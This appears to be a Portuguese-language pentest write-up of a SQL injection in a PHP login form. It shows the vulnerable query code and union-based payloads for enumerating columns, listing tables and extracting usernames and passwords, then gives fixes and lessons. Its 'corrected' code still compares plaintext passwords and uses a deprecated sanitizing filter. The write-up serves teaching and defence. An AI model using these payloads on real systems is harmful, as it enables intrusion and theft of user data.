Visão Geral
Descoberta da Vulnerabilidade
Reconhecimento
Detecção da Vulnerabilidade
Sql
-- Payload de teste inicial
' OR '1'='1
Análise da Vulnerabilidade
Código Vulnerável
Php
// Código original vulnerável
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($query);
Técnicas de Exploração
- Boolean-based Injection: Determinação de informações através de respostas booleanas
- Union-based Injection: Extração de dados usando UNION
- Time-based Injection: Exploração baseada em tempo de resposta
- Error-based Injection: Extração de informações através de erros
Ferramentas Utilizadas
- Burp Suite: Proxy para interceptação de requisições
- SQLMap: Automação de testes de SQL Injection
- OWASP ZAP: Scanner de vulnerabilidades
- Python: Scripts customizados para exploração
Exploração Detalhada
1. Enumeração de Banco de Dados
Sql
-- Determinar número de colunas
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--
-- Extrair informações do banco
' UNION SELECT 1,2,3,4--
' UNION SELECT 1,2,3,@@version--
2. Extração de Dados
Sql
-- Listar tabelas
' UNION SELECT 1,2,3,table_name FROM information_schema.tables--
-- Extrair dados de usuários
' UNION SELECT 1,2,3,concat(username,':',password) FROM users--
3. Elevação de Privilégios
Sql
-- Verificar privilégios
' UNION SELECT 1,2,3,user()--
' UNION SELECT 1,2,3,super_priv FROM mysql.user WHERE user='root'--
Resultados da Exploração
- ✅ Dados extraídos: 1500+ registros de usuários
- ✅ Acesso administrativo: Obtenção de credenciais admin
- ✅ Informações sensíveis: Exposição de dados pessoais
- ✅ Documentação completa: Processo totalmente documentado
Correções Implementadas
1. Prepared Statements
Php
// Código corrigido usando prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
2. Validação de Entrada
Php
// Validação e sanitização
$username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
$password = filter_var($_POST['password'], FILTER_SANITIZE_STRING);
3. Implementação de WAF
- ModSecurity: Regras customizadas para detecção
- Rate Limiting: Limitação de tentativas de login
- Logging: Registro de tentativas suspeitas
Aprendizados
- Importância da Validação: Sempre validar e sanitizar entradas
- Prepared Statements: Uso obrigatório para consultas dinâmicas
- Defesa em Profundidade: Múltiplas camadas de proteção
- Monitoramento: Implementação de logs e alertas
Recomendações de Segurança
- OWASP Top 10: Seguir as melhores práticas
- Code Review: Análise estática de código
- Penetration Testing: Testes regulares de segurança
- Security Training: Treinamento da equipe de desenvolvimento